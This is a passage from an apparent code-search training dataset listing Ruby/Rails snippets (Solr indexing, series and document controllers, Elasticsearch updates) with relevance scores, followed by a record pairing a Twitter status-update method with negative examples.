"def write_series_indexes\n series_posts = {}\n\n series = posts.docs.flat_map { |p| p.data[\"series\"] }.compact.uniq\n series.each do |name|\n safe_name = name.gsub(/_|\\P{Word}/, '-').gsub(/-{2,}/, '-').downcase\n path = File.join(\"series\", safe_name)\n\n this_series_posts = posts.select { |p| p.data[\"series\"] == name }.sort { |x, y| x.date <=> y.date }\n series_posts[name] = this_series_posts\n\n authors = this_series_posts.map { |p| p.data[\"author\"] }.flatten.uniq.map { |key| self.config['authors'][key] }\n write_series_index(path, name, series_posts, authors)\n end\n end",
"def target_edition=(value)\n @target_edition = value\n end",
"def create_from_goodreads(series)\n self['Title'] = series.title\n self.save\n end",
"def series_params\n params.require(:series).permit(:name, :date_aired, :synopsis, :status, :cover)\n end",
"def set_document_tag\n @issuer_document_tag = IssuerDocumentTag.find(params[:id])\n end",
"def series_params\n params.require(:series).permit(:name, :author, :description, :image)\n end",
"def set_course_series\n @course_series = CourseSeries.find(params[:id])\n end",
"def update_teacher_set_availability_in_elastic_search\n body = {\n :availability => self.availability,\n :available_copies => self.available_copies\n }\n ElasticSearch.new.update_document_by_id(self.id, body)\n end",
"def generate_solr_document\n super.tap do |solr_doc|\n solr_doc['member_works_count_isi'] = member_works_count\n solr_doc['title_ssort'] = sort_title\n solr_doc['creator_ssort'] = object.creator.first\n solr_doc['generic_type_sim'] = [\"Collection\"]\n solr_doc['banner_path_ss'] = banner_path\n solr_doc['source_collection_title_for_collections_ssim'] = source_collection\n solr_doc['deposit_collection_titles_tesim'] = deposit_collection\n solr_doc['deposit_collection_ids_tesim'] = object.deposit_collection_ids\n end\n end",
"def bookseries_params\n params.require(:bookseries).permit(:book_id, :series_id, :position)\n end",
"def set_document\n @document = Document.includes(:graphs => [:nodes => [:node_tags => [:tag]], :edges => [:node_from, :node_to], :tags => [], :clusters => []]).joins(:user).where(user: current_user).find(params[:id])\n end",
"def set_episode\n @series = Series.find(params[:series_id].to_i)\n @episode = @series.episodes.find(params[:id].to_i)\n end",
"def series_params\n params.require(:series).permit(:name, :description)\n end",
"def add_series(series)\n type_check(series, :series)\n Series.create(series)\n end",
"def set_document(options)\n # TODO faire une méthode dans le modèle\n period = Period.find(options[:period_id])\n nomenclature = period.organism.nomenclature\n # @docs est une collection de Compta::Sheet\n @docs = options[:collection].map do |c|\n fol = nomenclature.folios.find_by_name(c.to_s)\n nomenclature.sheet(period, fol) if fol\n end.reject { |r| r.nil?}\n \n end",
"def series_uid\n @dicom_series_uid || @series_uid\n end",
"def edition\n tag_range(\"250\", \"28X\")\n end",
"def course_series_params\n params.require(:course_series).permit(:name, :description, :site_id, :is_open)\n end",
"def generate_solr_document\n super.tap do |solr_doc|\n index_suppressed(solr_doc)\n index_workflow_fields(solr_doc)\n end\n end",
"def generate_solr_document\n super.tap do |solr_doc|\n solr_doc['top_level_bsi'] = object.in_works_ids.blank?\n solr_doc[Rdr::Index::Fields.in_works_ids] = object.in_works_ids\n end\n end",
"def categorize_supplemental_documents\n\n if request.put?\n supplemental_document = SupplementalDocument.find(params[:supplemental_document][:id])\n params[:supplemental_document].delete(:id) # do this so not get mass assignment error\n supplemental_document.update_attributes(params[:supplemental_document]) if supplemental_document.present?\n\n # update the stats\n # get user stats\n @supplemental_document_user_stats = SupplementalDocument.user_stats(current_user.id)\n # get document stats\n @document_stats = SupplementalDocument.document_stats\n\n end\n\n # get the next doc\n @supplemental_document = SupplementalDocument.next_to_categorize\n end",
"def series_title\n return title if series?\n @doc = SolrDocument.new(Blacklight.solr.select(:params => { :fq => \"#{SolrDocument.unique_key}:#{series}\" })[\"response\"][\"docs\"].first)\n @doc.title\n end",
"def set_document(options)\n period = Period.find(options[:period_id])\n nomenclature = period.organism.nomenclature\n folio = nomenclature.folios.find_by_id(options[:folio_id])\n @document = nomenclature.sheet(period, folio)\n end",
"def generate_solr_document\n super.tap do |solr_doc|\n solr_doc['year_iim'] = extract_years(object.date_created)\n end\n end",
"def series_type\n end",
"def assign_current_document!; end",
"def process_attributes(knowledge, products_selector_dom_name, opinion, params)\n super(knowledge, products_selector_dom_name, opinion, params)\n self.mode_selection_tag = params[\"mode_selection_tag\"]\n s = Specification.find(params[\"specification_id\"])\n self.specification_id = s.id\n self.specification_idurl = s.idurl\n self.expressions = (params[\"expressions\"] || []).select { |tag_idurl| tag_idurl.size > 0 }\n update_labels(s)\n end",
"def generate_solr_document\n super.tap do |solr_doc|\n \n # other title\n solr_doc[Solrizer.solr_name('other_title', :stored_searchable)] = object.other_title.map { |r| r.title.first }\n solr_doc[Solrizer.solr_name('other_title', :displayable)] = object.other_title.to_json \n\n # work review process\n # solr_doc[Solrizer.solr_name('work_review_process', :stored_searchable)] = object.work_review_process.map{ |r| r.status.first }\n # solr_doc[Solrizer.solr_name('work_review_process', :displayable)] = object.work_review_process.to_json\n\n # reviewers\n solr_doc[Solrizer.solr_name('reviewers', :stored_searchable)] = object.reviewers.map { |r| r.reviewer.first }\n solr_doc[Solrizer.solr_name('reviewers', :displayable)] = object.reviewers.to_json\n\n # identifiers\n solr_doc[Solrizer.solr_name('identifier_nested', :symbol)] = object.identifier_nested.map { |i| i.obj_id.first }\n solr_doc[Solrizer.solr_name('identifier_nested', :displayable)] = object.identifier_nested.to_json\n object.identifier_nested.each do |i|\n unless (i.obj_id_scheme.first.blank? or i.obj_id.first.blank?)\n solr_doc[Solrizer.solr_name(\"identifier_#{i.obj_id_scheme.first.downcase}\", :symbol)] = i.obj_id.reject(&:blank?)\n end\n end\n\n # creator\n creators = object.creator_nested.map { |cr| (cr.name + cr.orcid).reject(&:blank?).join(' ') }\n solr_doc[Solrizer.solr_name('creator_nested', :facetable)] = creators\n solr_doc[Solrizer.solr_name('creator_nested', :stored_searchable)] = creators\n solr_doc[Solrizer.solr_name('creator_nested', :displayable)] = object.creator_nested.to_json\n \n # contributor\n # contributors = object.contributor_nested.map { |cr| (cr.contributor_first_name + cr.contributor_last_name).reject(&:blank?).join(' ') }\n # solr_doc[Solrizer.solr_name('contributor_nested', :facetable)] = contributors\n # solr_doc[Solrizer.solr_name('contributor_nested', :stored_searchable)] = contributors\n # solr_doc[Solrizer.solr_name('contributor_nested', :displayable)] = object.contributor_nested.to_json\n\n # date\n # solr_doc[Solrizer.solr_name('date_nested', :stored_searchable)] = object.date_nested.map { |s| s.date.first }.reject(&:blank?)\n # solr_doc[Solrizer.solr_name('date_nested', :facetable)] = object.date_nested.map { |s| s.date.first }.reject(&:blank?)\n # solr_doc[Solrizer.solr_name('date_nested', :displayable)] = object.date_nested.to_json\n\n # subject\n solr_doc[Solrizer.solr_name('subject_nested', :stored_searchable)] = object.subject_nested.map { |s| s.subject.first }.reject(&:blank?)\n solr_doc[Solrizer.solr_name('subject_nested', :facetable)] = object.subject_nested.map { |s| s.subject.first }.reject(&:blank?)\n solr_doc[Solrizer.solr_name('subject_nested', :displayable)] = object.subject_nested.to_json\n \n # #alternate identifier\n # solr_doc[Solrizer.solr_name('alt_identifier_nested', :stored_searchable)] = object.alt_identifier_nested.map { |s| s.alt_identifier.first }.reject(&:blank?)\n # solr_doc[Solrizer.solr_name('alt_identifier_nested', :facetable)] = object.alt_identifier_nested.map { |s| s.alt_identifier.first }.reject(&:blank?)\n # solr_doc[Solrizer.solr_name('alt_identifier_nested', :displayable)] = object.alt_identifier_nested.to_json\n\n #alternate identifier\n solr_doc[Solrizer.solr_name('related_identifier_nested', :stored_searchable)] = object.related_identifier_nested.map { |s| s.related_identifier.first }.reject(&:blank?)\n solr_doc[Solrizer.solr_name('related_identifier_nested', :facetable)] = object.related_identifier_nested.map { |s| s.related_identifier.first }.reject(&:blank?)\n solr_doc[Solrizer.solr_name('related_identifier_nested', :displayable)] = object.related_identifier_nested.to_json\n\n # #rights\n # solr_doc[Solrizer.solr_name('rights_nested', :stored_searchable)] = object.rights_nested.map { |s| s.rights.first }.reject(&:blank?)\n # solr_doc[Solrizer.solr_name('rights_nested', :facetable)] = object.rights_nested.map { |s| s.rights.first }.reject(&:blank?)\n # solr_doc[Solrizer.solr_name('rights_nested', :displayable)] = object.rights_nested.to_json\n\n #description\n solr_doc[Solrizer.solr_name('description_nested', :stored_searchable)] = object.description_nested.map { |s| s.description.first }.reject(&:blank?)\n solr_doc[Solrizer.solr_name('description_nested', :facetable)] = object.description_nested.map { |s| s.description.first }.reject(&:blank?)\n solr_doc[Solrizer.solr_name('description_nested', :displayable)] = object.description_nested.to_json\n\n #funding\n solr_doc[Solrizer.solr_name('funding_nested', :stored_searchable)] = object.funding_nested.map { |s| s.funding_reference.first }.reject(&:blank?)\n solr_doc[Solrizer.solr_name('funding_nested', :facetable)] = object.funding_nested.map { |s| s.funding_reference.first }.reject(&:blank?)\n solr_doc[Solrizer.solr_name('funding_nested', :displayable)] = object.funding_nested.to_json \n\n #geolocation\n solr_doc[Solrizer.solr_name('geolocation_nested', :stored_searchable)] = object.geolocation_nested.map { |s| s.geolocation.first }.reject(&:blank?)\n solr_doc[Solrizer.solr_name('geolocation_nested', :facetable)] = object.geolocation_nested.map { |s| s.geolocation.first }.reject(&:blank?)\n solr_doc[Solrizer.solr_name('geolocation_nested', :displayable)] = object.geolocation_nested.to_json\n\n end\n end",
"def set_tv_series\n @tv_series = TvSerie.find(params[:id])\n end",
"def set_pelicula_series\n @pelicula_series = PeliculaSerie.find(params[:id])\n end",
"def set_tv_series\n @tv_series = TvSeries.find(params[:id])\n end",
"def set_edition\n @edition = Edition.find(params[:id])\n end",
"def document_series_ref_id\n vbms_uploaded_documents\n .where(document_type: \"BVA Case Notifications\")\n .where.not(uploaded_to_vbms_at: nil)\n .order(uploaded_to_vbms_at: :desc)\n .first\n &.document_series_reference_id\n end",
"def attribute_values\n super.merge('product_id' => @source.concept_product.product.product_id)\n end",
"def to_solr(solr_doc = {}, opts = {})\n super.tap do |doc|\n doc['active_fedora_model_ssi'] = has_model\n end\n end",
"def set_requested_sales_document\n @requested_sales_document = RequestedSalesDocument.find(params[:id])\n end",
"def serie\n Allocine::Serie.new(document[\"parentSeries\"][\"code\"])\n end",
"def set_functional_design_document\n @functional_design_document = FunctionalDesignDocument.find(params[:id])\n end",
"def series=(value)\n @series = value\n end",
"def update!(**args)\n @doc_tag = args[:doc_tag] if args.key?(:doc_tag)\n end",
"def to_solr(solr_doc = {})\n super\n solr_doc['desc_metadata__identifier_tesim'] = self.doi\n solr_doc\n end",
"def solr_during_indexing\n {\n \"has_model_ssim\" => [\"Collection\"],\n :id => object.id,\n \"title_tesim\" => [object.title.first.to_s],\n \"title_sim\" => [object.title.first.to_s],\n \"collection_type_gid_ssim\" => [object.collection_type_gid],\n \"ark_ssi\" => object.ark,\n \"ursus_id_ssi\" => Californica::IdGenerator.blacklight_id_from_ark(object.ark),\n \"member_ids_ssim\" => [],\n \"object_ids_ssim\" => [],\n \"member_of_collection_ids_ssim\" => [], \"collection_ids_ssim\" => [],\n \"generic_type_sim\" => [\"Collection\"],\n \"bytes_lts\" => 0,\n \"visibility_ssi\" => \"restricted\"\n }\n end",
"def set_document_analysis\n @analysis = @document.document_analysis.where.not(queued_at: nil).order('updated_at DESC').first\n end",
"def update!(**args)\n @time_series = args[:time_series] if args.key?(:time_series)\n end",
"def add_edition\n @item.edition = @bib.edition.content if @bib.edition\n end",
"def series_params\n params.require(:podcast_series).permit(:name, :description, :image, :subtitle, :summary, :category, :owner, :page_link, :itunes_link, :spotify_link, :itunes_type, :complete, :explicit)\n end",
"def set_document\n @document = Document.friendly.find(params[:id])\n end",
"def set_document\n @document = Document.friendly.find(params[:id])\n end",
"def set_document\n @document = Document.find_by(slug: params[:id])\n end",
"def after_publish(edition)\n edition.supporting_pages.each(&:update_in_search_index)\n end",
"def as_index_document()\n doc = {'format'=>'Node', 'title'=> title, 'id' => persistent_id, 'version'=>id, 'model' => model.id, 'model_name' => model.name, 'pool' => pool_id}\n doc.merge!(solr_attributes)\n doc.merge!(solr_associations)\n doc\n end",
"def create\n params[:series] ||= {}\n @sid = params[:sid] || params[:series][:sid]\n @series = @sid.present? ? Series.find_or_new_from_sid(@sid, params[:series]) : Series.new(params[:series])\n\n respond_to do |format|\n if @series.save\n format.html { redirect_to @series, notice: 'Series was successfully created.' }\n format.json { render json: @series, status: :created, location: @series }\n else\n format.html { render action: \"new\" }\n format.json { render json: @series.errors, status: :unprocessable_entity }\n end\n end\n end",
"def to_solr(solr_doc = {})\n super(solr_doc)\n solr_doc.merge!(\"object_type_sim\" => \"Book chapter\")\n solr_doc\n end",
"def series_details\n @series_description\n end",
"def create_or_update_teacherset_document_in_es\n body = teacher_set_info\n elastic_search = ElasticSearch.new\n begin\n # If teacherset document is found in elastic search than update document in ES.\n elastic_search.update_document_by_id(body[:id], body)\n rescue Elasticsearch::Transport::Transport::Errors::NotFound => e\n # If teacherset document not found in elastic search than create document in ES.\n resp = elastic_search.create_document(body[:id], body)\n if resp['result'] == \"created\"\n LogWrapper.log('DEBUG', {'message' => \"Successfullly created elastic search doc. Teacher set id #{body[:id]}\",'method' => __method__})\n else\n LogWrapper.log('ERROR', {'message' => \"Elastic search document not created/updated. Error: #{e.message}, ts-id: #{body[:id]}\", \n 'method' => __method__})\n end\n rescue StandardError => e\n LogWrapper.log('ERROR', {'message' => \"Error occured while updating elastic search doc. Teacher set id #{body[:id]}, message: #{e.message}\",\n 'method' => __method__})\n raise ElasticsearchException.new(ELASTIC_SEARCH_STANDARD_EXCEPTION[:code], ELASTIC_SEARCH_STANDARD_EXCEPTION[:msg])\n end\n end",
"def cama_meta_tag_post_is_for_old_version?(post)\n !post.respond_to?(:manage_seo?)\n end",
"def update_series(old, new)\n case old\n when Viva::Database::Series\n current = old\n when Hash\n current = Viva.singularize(search_series(old), unique: true)\n else\n fail \"Invalid class #{old.class} given to update\"\n end\n current.update(new)\n current.save\n end",
"def after_create\n super\n self.class.call_es { _index_document }\n end",
"def show\n @series = Roxiware::BookSeries.where(:seo_index=>params[:id]).first\n raise ActiveRecord::RecordNotFound if @series.nil?\n authorize! :read, @series\n\n respond_to do |format|\n format.html { render :template=>\"roxiware/books/series/show\"}\n format.json { render :json => @series }\n end\n end",
"def set_document\n @document = Document.friendly.find(params[:id])\n end",
"def after_update\n super\n self.class.call_es { _index_document }\n end",
"def set_study_spot\n @study_spot = StudySpot.find(params[:id])\n end",
"def tag_with_company source_card\n add_trait_to_source source_card, :wikirate_company, company_names\nend",
"def bulk_published\n true\n end",
"def bulk_index_returns_create_for_new_documents?\n $client.version_support.es_version_2_x?\nend",
"def set_product\n \n end",
"def index_date_info(solr_doc)\n dates = temporal_or_created\n\n unless dates.empty?\n dates.each do |date|\n if date.length() == 4\n date += \"-01-01\"\n end\n\n valid_date = Chronic.parse(date)\n unless valid_date.nil?\n last_digit= valid_date.year.to_s[3,1]\n decade_lower = valid_date.year.to_i - last_digit.to_i\n decade_upper = valid_date.year.to_i + (10-last_digit.to_i)\n if decade_upper >= 2020\n decade_upper =\"Present\"\n end\n Solrizer.insert_field(solr_doc, 'year', \"#{decade_lower} to #{decade_upper}\", :facetable)\n end\n end\n end\n end",
"def index_format_info(solr_doc)\n Solrizer.insert_field(solr_doc, 'object_type', object.human_readable_type, :facetable)\n\n\n #Solrizer.insert_field(solr_doc, 'object_type', model_s, :facetable) if model_s\n #Solrizer.insert_field(solr_doc, 'object_type', model_s, :symbol) if model_s\n\n\n # At this point primary classification is complete but there are some outlier cases where we want to\n # Attribute two classifications to one object, now's the time to do that\n ##,\"info:fedora/cm:Audio.OralHistory\",\"info:fedora/afmodel:TuftsAudioText\" -> needs text\n ##,\"info:fedora/cm:Image.HTML\" -->needs text\n #if [\"info:fedora/cm:Audio\",\"info:fedora/afmodel:TuftsAudio\",\"info:fedora/afmodel:TuftsVideo\"].include? model\n # unless self.datastreams['ARCHIVAL_XML'].dsLocation.nil?\n # Solrizer.insert_field(solr_doc, 'object_type', 'Text', :facetable)\n # Solrizer.insert_field(solr_doc, 'object_type', 'Text', :symbol)\n # end\n #end\n end",
"def process\n format = event_attributes[:format]\n format_name = \"#{format}_edition\" unless format.to_s.match?(/edition$/)\n publication_class = format_name.to_s.camelize.constantize\n @edition = publication_class.create(event_attributes[:edition_attributes])\n end",
"def set_srticle\n @srticle = Srticle.find(params[:id])\n end",
"def define_design_document(design)\n path = design_path(design)\n design_document = read_inheritable_attribute(:design_documents)[design]\n design_revision_checked = read_inheritable_attribute(:design_revision_checked) || false\n logger.debug \"Design Document Check\"\n logger.debug \" check_design_revision_every_time = #{check_design_revision_every_time}\"\n logger.debug \" design_revision_checked = #{design_revision_checked}\"\n #if self.check_view_every_access\n if self.check_design_revision_every_time || !design_revision_checked\n current_doc = get_design_document_from_server(design)\n # already exists\n if current_doc\n logger.debug \"Design document is found and updates are being checked.\"\n logger.debug current_doc.to_json\n if match_views?(design_document[:views], current_doc[:views])\n logger.debug \"Design document(#{path}) is the latest.\"\n else\n logger.debug \"Design document(#{path}) is not the latest, should be updated.\"\n design_document[:_rev] = current_doc[:_rev]\n logger.debug \"CouchResource::Connection#put #{path}\"\n hash = connection.put(path, design_document.to_json)\n logger.debug hash.to_json\n design_document[:_rev] = hash[:rev]\n end\n else\n logger.debug \"Design document not found so to put.\"\n design_document.delete(:_rev)\n logger.debug \"CouchResource::Connection#put #{path}\"\n logger.debug design_document.to_json\n hash = connection.put(path, design_document.to_json)\n logger.debug hash.to_json\n design_document[:_rev] = hash[\"rev\"]\n end\n design_revision_checked = true\n else\n if design_document[:_rev].nil?\n begin\n hash = connection.put(design_path(design), design_document.to_json)\n design_document[:_rev] = hash[:rev]\n rescue CouchResource::PreconditionFailed\n # through the error.\n design_document[:_rev] = connection.get(design_path(design))[:_rev]\n end\n end\n end\n end",
"def set_product\n if !@products\n @products = Product.all\n end\n price_ranges = [ {to: 10 }, {from: 10.01, to: 20 }, {from: 20.01, to: 30 }, {from: 30.01}]\n if !@producss\n @producss = Product.search \"*\", aggs: {price: {ranges: price_ranges}, category_id: {}, condition_id: {}, date: {}}\n end\n if !@producs\n @producs = Product.search(params.fetch(:name, \"*\")).to_a\n end\n end",
"def write_document_to_index(document)\n\n end",
"def create_instance_design_doc\n write_attribute(:instance_class_name, self.term.singularize.camelize)\n\n ddoc = CouchRest::Document.new(:_id => self.instance_design_doc_id,\n :language => \"javascript\",\n :views => {\n :all => {\n :map =>\n \"function(doc) {if (doc['#{model_type_key}'] == '#{self.instance_class_name}'){emit(doc['_id'],1);}}\"\n }\n }\n )\n \n instance_database.save_doc(ddoc)\n add_instance_vocabulary_views\n end"
] | [
"0.6066456",
"0.59444135",
"0.586813",
"0.5756031",
"0.5699041",
"0.56461513",
"0.5550231",
"0.5543285",
"0.55068195",
"0.549942",
"0.5484264",
"0.5462294",
"0.5453271",
"0.53783274",
"0.5371826",
"0.5329701",
"0.5264035",
"0.5261391",
"0.52533966",
"0.5242429",
"0.52258044",
"0.52206665",
"0.52021813",
"0.51838905",
"0.51796794",
"0.51767",
"0.51281947",
"0.5127558",
"0.5119704",
"0.5092183",
"0.5073059",
"0.5066892",
"0.5062548",
"0.5053503",
"0.5034234",
"0.50252545",
"0.50186336",
"0.50044334",
"0.5001135",
"0.4990794",
"0.49877968",
"0.49841928",
"0.49741796",
"0.4968049",
"0.496201",
"0.49588344",
"0.49558085",
"0.4933569",
"0.49183697",
"0.4916987",
"0.48876756",
"0.48851413",
"0.48575786",
"0.48437175",
"0.4843628",
"0.48332283",
"0.48250377",
"0.4824632",
"0.48036918",
"0.4801039",
"0.48001236",
"0.47989574",
"0.4787735",
"0.47868577",
"0.478139",
"0.47800875",
"0.47715166",
"0.47709134",
"0.47704977",
"0.47698864",
"0.47695032",
"0.47686544",
"0.47636998",
"0.47636998",
"0.4757286",
"0.4741678",
"0.47415006",
"0.47339785",
"0.47255453",
"0.47138008",
"0.47115257",
"0.47088635",
"0.47001743",
"0.46978992",
"0.4687383",
"0.46871203",
"0.4683875",
"0.46823385",
"0.4679536",
"0.46700138",
"0.4666083",
"0.46635255",
"0.46626693",
"0.46625555",
"0.4658513",
"0.46550122",
"0.464788",
"0.46458808",
"0.46440735",
"0.46363127"
] | 0.6322694 | 0 |
public method for updating twitter status | def update_status( status ) # status = { :message => 'new post on ruby', :url => 'http://www.ruby-lang.com' }
message = status[:message]
short_url = ::ShortUrl::Client.new.short_url( status[:url] )
if message.nil? or message.empty?
posted = shorted unless ( short_url.nil? or short_url.empty? )
else
posted = message
posted = posted + ': ' + short_url unless ( short_url.nil? or short_url.empty? )
end
if posted.nil?
{ :error => 'Invalid status.'}
else
call( 'statuses/update', { :status => posted } , :post )
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update_status\n if current_user.has_twitter_oauth?\n @T_OAUTH = TwitterOAuth::Client.new(\n :consumer_key => TWITTER_KEY,\n :consumer_secret => TWIITER_SECRET,\n :token => current_user.twitter_account.token,\n :secret => current_user.twitter_account.secret \n )\n\n if @T_OAUTH.authorized? and @T_OAUTH.update(params[:status])\n flash[:notice] = \"Your tweet has been sent\"\n else\n flash[:notice] = \"Sorry ! Your tweet failed to sent, try later !\"\n end\n else\n flash[:notice] = \"You dont have twitter account with oauth token, please authorize myapp in your twitter !\"\n end\n\n redirect_to :action => 'index'\n\n end",
"def update_status(m, params)\n unless @has_oauth\n report_oauth_missing(m, \"I cannot update your status\")\n return false\n end\n\n unless @registry.has_key?(m.sourcenick + \"_access_token\")\n m.reply \"You must first authorize your Twitter account before tweeting.\"\n return false;\n end\n @access_token = YAML::load(@registry[m.sourcenick + \"_access_token\"])\n\n uri = \"https://api.twitter.com/statuses/update.json\"\n msg = params[:status].to_s\n\n if msg.length > 140\n m.reply \"your status message update is too long, please keep it under 140 characters\"\n return\n end\n\n response = @access_token.post(uri, { :status => msg })\n debug response\n\n reply_method = params[:notify] ? :notify : :reply\n if response.class == Net::HTTPOK\n m.__send__(reply_method, \"status updated\")\n else\n m.__send__(reply_method, \"could not update status\")\n end\n end",
"def update_status!(user, status, in_reply_to_status_id = nil)\n self.twitagent(user.token, user.secret).update_status!(status, in_reply_to_status_id)\n\tend",
"def update!\n response = Tessellator::Fetcher.new.call('get', 'https://howamidoing-duckinator.herokuapp.com/status.json')\n @@statuses = JSON.parse(response.body)['statuses']\n end",
"def update_status(status)\n post \"statuses/update\", :post => {:status => status}\n end",
"def postTweet(status)\n\t\t\[email protected](status)\n\t\tend",
"def tweet account\n if @in_reply_to_status_id then\n account.client.statuses.update! :status => @status, :in_reply_to_status_id=>@in_reply_to_status_id\n else\n account.client.statuses.update! :status => @status\n end\n end",
"def update_status!( status , in_reply_to_status_id = nil )\n\t\tif in_reply_to_status_id\n\t\t\tresponse = access_token.post('/statuses/update.json', { :status => status, :in_reply_to_status_id => in_reply_to_status_id })\n\t\telse\n\t\t\tresponse = access_token.post('/statuses/update.json', { :status => status })\n\t\tend\n\t\tcase response\n\t\twhen Net::HTTPSuccess\n\t\t\tmessage=JSON.parse(response.body)\n\t\t\traise TwitterOauth::UnexpectedResponse unless message.is_a? Hash\n\t\t\tmessage\n\t\telse\n\t\t\traise TwitterOauth::APIError\n\t\tend\n\trescue => err\n\t\tputs \"Exception in update_status!: #{err}\"\n\t\traise err\n\tend",
"def update_from_twitter\n \n # Only update a maximum of every _update_wait_ minutes to avoid getting blacklisted\n update_wait = 10\n \tif (time_since_update > update_wait)\n \t\t# Open twitter feed\n \t\tif (self.recent_tweet.nil?)\n # If this is the first time we are updating this truck, we shouldn't use the since_id var\n self.recent_tweet = \"1\"\n get_recent = '?'\n \t\telse\n get_recent = \"?since_id=#{self.recent_tweet}&\"\n \t\tend\n \t\t# twitter web service\n \t\ttwitter_source = \"http://api.twitter.com/1/statuses/user_timeline.xml#{get_recent}user_id=#{self.twitter_id}&trim_user=true\"\n \t\tparser = XML::Parser.file(twitter_source)\n \t\tdoc = parser.parse\n \t\tnodes = doc.find('status')\n \t\t# For each tweet in the response:\n \t\tnodes.each do |node|\n \t\t # Update Recent Tweet ID if needed\n new_id = node.find_first('id').inner_xml\n if (new_id.to_i > self.recent_tweet.to_i)\n self.recent_tweet = new_id\n end\n # Create New Tweet object\n \t\t self.tweets.create({:text => node.find_first('text').inner_xml, :created_at => node.find_first('created_at').inner_xml})\n \t\tend\n \t\tself.save\n \t\tself.remove_old_tweets()\n\n \tend\n \t\n \t# Find newest valid location\n \tlocation_tweet = self.tweets.order(\"created_at DESC\").where(\"location_id > 0\").first\n \tlocation_tweet\n end",
"def notify_twitter\n $twitter_client.update(tweet_content)\n end",
"def update_status!( status , in_reply_to_status_id = nil )\n\t\tself.twitagent.update_status!( status , in_reply_to_status_id )\n\trescue => err\n\t\t# The user might have rejected this application. Or there was some other error during the request.\n\t\tRAILS_DEFAULT_LOGGER.error \"#{err.message} Failed update status\"\n\t\treturn\n\tend",
"def update(tweet)\n client.update tweet\n end",
"def update_status(status)\n @status = status\n @last_status_change = Time.now\n update_statusfile\n end",
"def status\n Twitter::Status.new(@status.merge(:user => self.to_hash.delete(:status))) if @status\n end",
"def update_status(user, tweet)\n begin\n sign_in(user)\n post(tweet)\n rescue ConnectionError => e\n logger.error(e)\n ensure\n sign_out(user)\n end\nend",
"def queue\n raise StringTooBigError if status.length > MAX_STATUS_LENGTH\n api_url = 'http://twitter.com/statuses/update.json'\n url = URI.parse(api_url)\n req = Net::HTTP::Post.new(url.path)\n req.basic_auth(@@username, @@password)\n req.set_form_data({ 'status'=> status }, ';')\n res = Net::HTTP.new(url.host, url.port).start {|http| http.request(req) }.body\n @id = JSON.parse(res)[\"id\"]\n @created_at = JSON.parse(res)[\"created_at\"]\n self\n end",
"def update_status\n @completed_status = !completed_status\n puts \"#{description} Completed\"\n end",
"def update!(**args)\n @status = args[:status] if args.key?(:status)\n end",
"def update!(**args)\n @status = args[:status] if args.key?(:status)\n end",
"def update!(**args)\n @status = args[:status] if args.key?(:status)\n end",
"def update!(**args)\n @status = args[:status] if args.key?(:status)\n end",
"def update!(**args)\n @status = args[:status] if args.key?(:status)\n end",
"def update!(**args)\n @status = args[:status] if args.key?(:status)\n end",
"def url\n \"http://twitter.com/#{self.username}/statuses/#{self.twitter_id}\"\n end",
"def update_status status\n @job.set({\n custom_status: status,\n pinged_at: Time.now\n })\n end",
"def update_tweet(id)\n RawTweet.update(id, is_processed: true)\n end",
"def status_tweets\n logger.debug { \"#{__method__} is called twitter_user_id=#{id}\" }\n tweets = []\n tweets = InMemory::StatusTweet.find_by(uid) if InMemory.enabled? && InMemory.cache_alive?(created_at)\n tweets = Efs::StatusTweet.where(uid: uid) if tweets.blank? && Efs::Tweet.cache_alive?(created_at)\n tweets = ::S3::StatusTweet.where(uid: uid) if tweets.blank?\n tweets.map { |tweet| ::TwitterDB::Status.new(uid: uid, screen_name: screen_name, raw_attrs_text: tweet.raw_attrs_text) }\n end",
"def index\n\n #client = Twitter::REST::Client.new do |config|\n # config.consumer_key = \"0SA42a0JKM6PdD1q0PNCZg\"\n # config.consumer_secret = \"YV97lqlpZd7T1sNrkDMZOqN9Gnd1pvOxrzwgv9jQuo\"\n # config.access_token = \"106499488-wdXh967DnNt5e1zW26YBQYqSOCggCtu9SdivrAc8\"\n # config.access_token_secret = \"diKltR3e8H8T9K7fCuZfGxenvgpWsvN5PwdhEyX7tQ\"\n #end\n\n require \"rubygems\"\n\n # Certain methods require authentication. To get your Twitter OAuth credentials,\n # register an app at http://dev.twitter.com/apps\n Twitter.configure do |config|\n config.consumer_key = \"0SA42a0JKM6PdD1q0PNCZg\"\n config.consumer_secret = \"YV97lqlpZd7T1sNrkDMZOqN9Gnd1pvOxrzwgv9jQuo\"\n config.oauth_token = \"106499488-wdXh967DnNt5e1zW26YBQYqSOCggCtu9SdivrAc8\"\n config.oauth_token_secret = \"diKltR3e8H8T9K7fCuZfGxenvgpWsvN5PwdhEyX7tQ\"\n end\n\n # Initialize your Twitter client\n client = Twitter::Client.new\n\n # Post a status update\n client.update(\"I just posted a status update via the Twitter Ruby Gem !\")\n redirect_to request.referer, :notice => 'Tweet successfully posted'\n\n end",
"def update\n respond_to do |format|\n if @tw_stat.update(tw_stat_params)\n format.html { redirect_to @tw_stat, notice: 'Tw stat was successfully updated.' }\n format.json { render :show, status: :ok, location: @tw_stat }\n else\n format.html { render :edit }\n format.json { render json: @tw_stat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def tweet_new_tweet(tweet)\n #setup twitter client\n client = Twitter::REST::Client.new do |config|\n config.consumer_key = $consumer_key\n config.consumer_secret = $consumer_secret\n config.access_token = $access_token\n config.access_token_secret = $access_token_secret\n end\n\n $log.debug(tweet)\n client.update(tweet)\n $log.info(\"Successfully tweeted!\")\nend",
"def update!(**args)\n @new_status = args[:new_status] if args.key?(:new_status)\n end",
"def update_status(payload, status)\n sha = payload.after\n repo = payload.repository.full_name\n state, description = status.first\n\n # setup http post\n uri = URI.parse(\"#{GITHUB_ROOT}/repos/#{repo}/statuses/#{sha}\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n\n # post to GitHub\n params = {:state => state, :description => description, :context => CONTEXT}\n http.post(uri.path, params.to_json, HEADERS)\nend",
"def update_status(status, options={})\n send_request('update_status', normalize_options(status, options))\n end",
"def update\n respond_to do |format|\n if @current_statuses.update(current_statuses_params)\n format.html { redirect_to @current_statuses, notice: 'Current Statuses was successfully updated.' }\n format.json { render :show, status: :ok, location: @current_statuses }\n else\n format.html { render :edit }\n format.json { render json: @current_statuses.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update( obj )\n timer.measure { \n tweet = obj\n }\n log_stats\n end",
